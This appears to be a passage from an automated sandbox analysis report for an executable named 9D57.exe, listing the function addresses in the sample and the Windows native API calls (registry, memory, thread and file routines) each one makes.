Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26E6B0 RtlSetThreadWorkOnBehalfTicket,memcmp,ZwSetInformationThread,	23_2_6D26E6B0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243E80 RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D243E80
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FBE9B RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	23_2_6D2FBE9B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A690 ZwOpenKeyEx,	23_2_6D28A690
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DE9E RtlAcquireSRWLockExclusive,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwUnsubscribeWnfStateChange,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlFreeHeap,	23_2_6D27DE9E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242E9F ZwCreateEvent,ZwClose,	23_2_6D242E9F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2896E0 ZwFreeVirtualMemory,	23_2_6D2896E0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B6F0 EtwEventWriteNoRegistration,ZwTraceEvent,RtlNtStatusToDosError,	23_2_6D24B6F0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D16FA ZwQueryWnfStateNameInformation,ZwUpdateWnfStateData,EtwEventWriteNoRegistration,	23_2_6D2D16FA
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D29DEF0 RtlRaiseException,RtlCaptureContext,ZwRaiseException,RtlRaiseStatus,	23_2_6D29DEF0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2576FE RtlInitUnicodeString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,ZwOpenKey,ZwClose,	23_2_6D2576FE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26E6F9 ZwAlpcSetInformation,	23_2_6D26E6F9
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318ED6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D318ED6
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2896C0 ZwSetInformationProcess,	23_2_6D2896C0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2466D4 RtlInitUnicodeString,ZwQueryValueKey,	23_2_6D2466D4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D279ED0 RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlAcquireSRWLockShared,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,ZwWaitForAlertByThreadId,	23_2_6D279ED0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2896D0 ZwCreateKey,	23_2_6D2896D0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242ED8 ZwWaitForAlertByThreadId,ZwWaitForAlertByThreadId,	23_2_6D242ED8
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120 RtlAllocateHeap,memmove,memmove,RtlPrefixUnicodeString,RtlAllocateHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlFreeHeap,	23_2_6D264120
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289920 ZwDuplicateToken,	23_2_6D289920
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F13B ZwOpenKey,ZwCreateKey,	23_2_6D31F13B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D193B ZwRaiseException,ZwTerminateProcess,	23_2_6D2D193B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A130 ZwCreateWaitCompletionPacket,	23_2_6D28A130
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249100 TpReleasePool,RtlAcquireSRWLockExclusive,ZwShutdownWorkerFactory,RtlGetCurrentServiceSessionId,RtlDebugPrintTimes,	23_2_6D249100
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D250100 LdrUnloadAlternateResourceModuleEx,RtlAcquireSRWLockExclusive,ZwUnmapViewOfSection,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlReAllocateHeap,	23_2_6D250100
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289900 ZwOpenEvent,	23_2_6D289900
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2E5100 RtlAssert,RtlCaptureContext,DbgPrintEx,DbgPrompt,ZwTerminateThread,DbgPrintEx,ZwTerminateProcess,	23_2_6D2E5100
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289910 ZwAdjustPrivilegesToken,	23_2_6D289910
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B160 ZwUpdateWnfStateData,	23_2_6D28B160
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A160 ZwCreateWorkerFactory,	23_2_6D28A160
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D976 ZwCreateFile,ZwCreateFile,	23_2_6D27D976
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B171 ZwQueryDebugFilterState,_alloca_probe_16,memcpy,_vsnprintf,ZwWow64DebuggerCall,RtlRaiseException,	23_2_6D24B171
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318966 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D318966
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1976 ZwCreateEvent,	23_2_6D2D1976
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3971 ZwOpenKeyEx,	23_2_6D2C3971
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B944 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,RtlGetCurrentServiceSessionId,ZwSetTimer2,RtlGetCurrentServiceSessionId,ZwCancelTimer2,	23_2_6D26B944
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F150 RtlOpenCurrentUser,RtlFormatCurrentUserKeyPath,ZwOpenKey,RtlFreeUnicodeString,RtlInitUnicodeString,ZwOpenKey,	23_2_6D24F150
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B150 ZwUnsubscribeWnfStateChange,	23_2_6D28B150
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24395E RtlAcquireSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,	23_2_6D24395E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F1B5 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,	23_2_6D31F1B5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B1A0 ZwWaitForKeyedEvent,	23_2_6D28B1A0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C51BE ZwQuerySystemInformation,ZwQuerySystemInformationEx,RtlAllocateHeap,ZwQuerySystemInformationEx,RtlFindCharInUnicodeString,RtlEnterCriticalSection,memcpy,	23_2_6D2C51BE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3049A4 ZwAllocateVirtualMemory,RtlCompareMemory,memcpy,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	23_2_6D3049A4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2549B0 RtlpGetSystemDefaultUILanguage,RtlpCreateProcessRegistryInfo,ZwQueryInstallUILanguage,ZwIsUILanguageComitted,	23_2_6D2549B0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A9B0 ZwQueryLicenseValue,	23_2_6D28A9B0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C9BF DbgPrintEx,wcsrchr,memcpy,DbgPrintEx,ZwClose,DbgPrintEx,DbgPrintEx,RtlDosPathNameToRelativeNtPathName_U,DbgPrintEx,ZwOpenFile,ZwClose,RtlFreeHeap,DbgPrintEx,DbgPrintEx,DbgPrintEx,RtlDeleteBoundaryDescriptor,ZwClose,RtlFreeHeap,	23_2_6D27C9BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26C182 RtlGetCurrentServiceSessionId,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,	23_2_6D26C182
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B180 ZwWaitForAlertByThreadId,	23_2_6D28B180
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289980 ZwCreateEvent,	23_2_6D289980
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A980 ZwQueryInstallUILanguage,	23_2_6D28A980
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F6186 ZwQueryValueKey,memmove,RtlInitUnicodeString,	23_2_6D2F6186
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289990 ZwQueryVolumeInformationFile,	23_2_6D289990
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30A189 RtlAcquireSRWLockExclusive,ZwGetNlsSectionPtr,RtlAllocateHeap,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,	23_2_6D30A189
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24519E RtlEqualUnicodeString,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	23_2_6D24519E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F1E4 ZwEnumerateValueKey,	23_2_6D24F1E4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E9ED RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,ZwClose,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,ZwClose,ZwClose,RtlFreeHeap,	23_2_6D24E9ED
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3189E7 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D3189E7
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D19C8 ZwCreateSection,ZwMapViewOfSection,memset,ZwUnmapViewOfSection,ZwClose,	23_2_6D2D19C8
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,	23_2_6D274020
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289830 ZwOpenFile,	23_2_6D289830
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F019 RtlInitUnicodeString,RtlInitUnicodeString,ZwQueryValueKey,RtlAllocateHeap,ZwQueryValueKey,RtlInitUnicodeString,ZwClose,RtlFreeHeap,	23_2_6D31F019
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E009 memset,ZwIsUILanguageComitted,RtlpGetNameFromLangInfoNode,ZwQueryInstallUILanguage,RtlLCIDToCultureName,RtlFreeHeap,	23_2_6D24E009
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F018 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,	23_2_6D24F018
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25106F ZwOpenKey,ZwClose,	23_2_6D25106F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1879 ZwAllocateVirtualMemory,memset,RtlInitializeSid,	23_2_6D2D1879
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289840 ZwDelayExecution,	23_2_6D289840
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318858 ZwAlertThreadByThreadId,	23_2_6D318858
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245050 RtlSetCurrentDirectory_U,RtlAllocateHeap,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,	23_2_6D245050
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289850 ZwQueryDirectoryFile,	23_2_6D289850
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26F0AE ZwSetInformationWorkerFactory,	23_2_6D26F0AE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F60A2 ZwQueryInformationFile,	23_2_6D2F60A2
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B0B0 ZwTraceControl,	23_2_6D28B0B0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27F0BF ZwOpenFile,RtlFreeHeap,ZwQueryVolumeInformationFile,RtlAllocateHeap,memcpy,ZwClose,ZwClose,RtlFreeHeap,	23_2_6D27F0BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2718B9 ZwCreateTimer2,ZwCreateWaitCompletionPacket,ZwAssociateWaitCompletionPacket,ZwClose,	23_2_6D2718B9
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28108B ZwClose,	23_2_6D28108B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243880 TpSetWaitEx,RtlAllocateHeap,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,TpSetWaitEx,	23_2_6D243880
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27A080 RtlDeleteCriticalSection,RtlAcquireSRWLockExclusive,ZwClose,	23_2_6D27A080
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3884 ZwQueryValueKey,RtlAllocateHeap,ZwQueryValueKey,RtlFreeHeap,	23_2_6D2C3884
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26E090 RtlWow64EnableFsRedirectionEx,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	23_2_6D26E090
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A890 ZwQueryDebugFilterState,	23_2_6D28A890
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289890 ZwFsControlFile,	23_2_6D289890
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F60E9 ZwOpenKey,ZwClose,ZwClose,	23_2_6D2F60E9
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FE0E9 RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwClose,RtlFreeHeap,	23_2_6D2FE0E9
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B8F0 TpSetPoolStackInformation,ZwSetInformationWorkerFactory,	23_2_6D24B8F0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2440FD RtlImageNtHeaderEx,DbgPrintEx,memset,RtlDebugPrintTimes,DbgPrintEx,wcsstr,DbgPrintEx,DbgPrintEx,wcschr,DbgPrintEx,ZwSetInformationProcess,	23_2_6D2440FD
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2470C0 ZwClose,RtlFreeHeap,RtlFreeHeap,	23_2_6D2470C0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2800C2 ZwAlertThreadByThreadId,	23_2_6D2800C2
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2898D0 ZwQueryAttributesFile,	23_2_6D2898D0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A0D0 ZwCreateTimer2,	23_2_6D28A0D0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2810D7 ZwOpenKey,ZwCreateKey,	23_2_6D2810D7
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249335 ZwClose,ZwClose,	23_2_6D249335
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D275306 ZwReleaseKeyedEvent,	23_2_6D275306
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244B00 TpCallbackMayRunLong,ZwSetInformationWorkerFactory,	23_2_6D244B00
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289B00 ZwSetValueKey,	23_2_6D289B00
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30131B RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D30131B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F6369 RtlInitUnicodeString,ZwOpenFile,ZwCreateSection,ZwMapViewOfSection,ZwClose,ZwClose,	23_2_6D2F6369
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AB60 ZwReleaseKeyedEvent,	23_2_6D28AB60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6365 RtlAllocateHeap,ZwQueryVirtualMemory,memcpy,wcsrchr,RtlFreeHeap,RtlAllocateHeap,memcpy,	23_2_6D2D6365
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C7365 RtlRunOnceExecuteOnce,ZwQuerySystemInformation,RtlCaptureContext,memset,RtlReportException,	23_2_6D2C7365
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D256B6B ZwQueryAttributesFile,RtlDeleteBoundaryDescriptor,	23_2_6D256B6B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AB70 ZwReleaseWorkerFactoryWorker,	23_2_6D28AB70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242B7E ZwSetInformationThread,ZwClose,	23_2_6D242B7E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B7A RtlAllocateHeap,ZwQuerySystemInformationEx,memset,RtlFreeHeap,	23_2_6D273B7A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D8372 ZwClose,RtlStringFromGUIDEx,ZwCreateKey,RtlFreeUnicodeString,	23_2_6D2D8372
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318B58 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D318B58
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B48 ZwClose,ZwClose,	23_2_6D273B48
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318BB6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D318BB6
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A3A0 ZwGetCompleteWnfStateSubscription,	23_2_6D28A3A0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274BAD RtlAcquireSRWLockExclusive,memset,ZwTraceControl,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	23_2_6D274BAD
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D319BBE RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D319BBE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301BA8 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D301BA8
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D251B8F RtlInitUnicodeString,ZwQueryLicenseValue,RtlAllocateHeap,ZwQueryLicenseValue,RtlFreeHeap,	23_2_6D251B8F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242B93 TpSetDefaultPoolMaxThreads,ZwDuplicateToken,	23_2_6D242B93
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A390 ZwGetCachedSigningLevel,	23_2_6D28A390
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27939F RtlInitializeCriticalSectionEx,ZwDelayExecution,	23_2_6D27939F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30138A memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D30138A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25A3E0 RtlFormatCurrentUserKeyPath,ZwQueryInformationToken,RtlLengthSidAsUnicodeString,RtlAppendUnicodeToString,RtlConvertSidToUnicodeString,RtlFreeUnicodeString,	23_2_6D25A3E0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2423F6 ZwClose,RtlFreeHeap,	23_2_6D2423F6
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289BF0 ZwAlertThreadByThreadId,	23_2_6D289BF0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242BC2 ZwOpenThreadToken,ZwSetInformationThread,ZwClose,	23_2_6D242BC2
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244A20 RtlGetCurrentServiceSessionId,RtlFreeHeap,ZwClose,RtlReleaseActivationContext,LdrUnloadDll,	23_2_6D244A20
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D4A28 ZwOpenKey,DbgPrintEx,ZwQueryValueKey,DbgPrintEx,DbgPrintEx,memcpy,ZwClose,	23_2_6D2D4A28
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AA20 ZwQuerySecurityAttributesToken,	23_2_6D28AA20
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 ZwAllocateVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwQueryVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlFillMemoryUlong,DbgPrint,DbgPrint,DbgPrint,	23_2_6D26A229
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27B230 EtwEventWrite,ZwTraceEvent,RtlNtStatusToDosError,	23_2_6D27B230
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289A30 ZwTerminateThread,	23_2_6D289A30
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D248239 RtlInitUnicodeStringEx,ZwQueryValueKey,RtlInitUnicodeStringEx,RtlPrefixUnicodeString,ZwEnumerateKey,ZwOpenKey,RtlInitUnicodeStringEx,ZwQueryValueKey,RtlFreeHeap,ZwClose,RtlAllocateHeap,RtlCompareUnicodeString,ZwClose,RtlFreeHeap,ZwClose,	23_2_6D248239
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318214 RtlAcquireSRWLockExclusive,ZwSetInformationWorkerFactory,RtlReleaseSRWLockExclusive,	23_2_6D318214
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289A00 ZwProtectVirtualMemory,	23_2_6D289A00
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E216 RtlInitUnicodeString,ZwOpenKey,ZwEnumerateKey,ZwClose,	23_2_6D24E216
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245210 RtlGetCurrentDirectory_U,memcpy,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	23_2_6D245210
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318A62 RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D318A62
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249240 ZwClose,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlAcquireSRWLockExclusive,RtlFreeHeap,	23_2_6D249240
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1242 ZwUnmapViewOfSection,ZwClose,ZwClose,ZwClose,ZwClose,ZwClose,	23_2_6D2D1242
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289A50 ZwCreateFile,	23_2_6D289A50
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2452A5 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwFsControlFile,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,	23_2_6D2452A5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D241AA0 RtlAllocateHandle,RtlReAllocateHeap,ZwAllocateVirtualMemory,ZwAllocateVirtualMemory,RtlAllocateHeap,	23_2_6D241AA0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24BAA0 RtlpLoadMachineUIByPolicy,RtlInitUnicodeString,ZwOpenKey,ZwClose,	23_2_6D24BAA0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D275AA0 TpSetPoolMaxThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,	23_2_6D275AA0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289AB0 ZwWaitForMultipleObjects,	23_2_6D289AB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27E2BB ZwWaitForAlertByThreadId,	23_2_6D27E2BB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D262280 RtlAcquireSRWLockExclusive,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,ZwTerminateProcess,	23_2_6D262280
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B280 ZwWow64DebuggerCall,	23_2_6D28B280
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DA88 RtlAcquireSRWLockExclusive,RtlImageNtHeader,RtlAllocateHeap,ZwUnmapViewOfSection,ZwClose,RtlReAllocateHeap,	23_2_6D27DA88
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D294 ZwQueryAttributesFile,RtlFreeHeap,ZwClose,RtlFreeHeap,	23_2_6D27D294
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AA90 ZwQuerySystemInformationEx,	23_2_6D28AA90
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24429E RtlInitUnicodeString,ZwClose,LdrQueryImageFileKeyOption,	23_2_6D24429E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FEAE9 memset,RtlInitUnicodeString,RtlInitUnicodeString,ZwEnumerateValueKey,RtlInitUnicodeString,RtlCompareUnicodeStrings,	23_2_6D2FEAE9
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289AE0 ZwTraceEvent,	23_2_6D289AE0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AAE0 ZwRaiseException,	23_2_6D28AAE0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AAF0 ZwRaiseHardError,	23_2_6D28AAF0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AAC0 ZwQueryWnfStateNameInformation,	23_2_6D28AAC0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318ADD RtlGetCurrentServiceSessionId,ZwTraceEvent,	23_2_6D318ADD
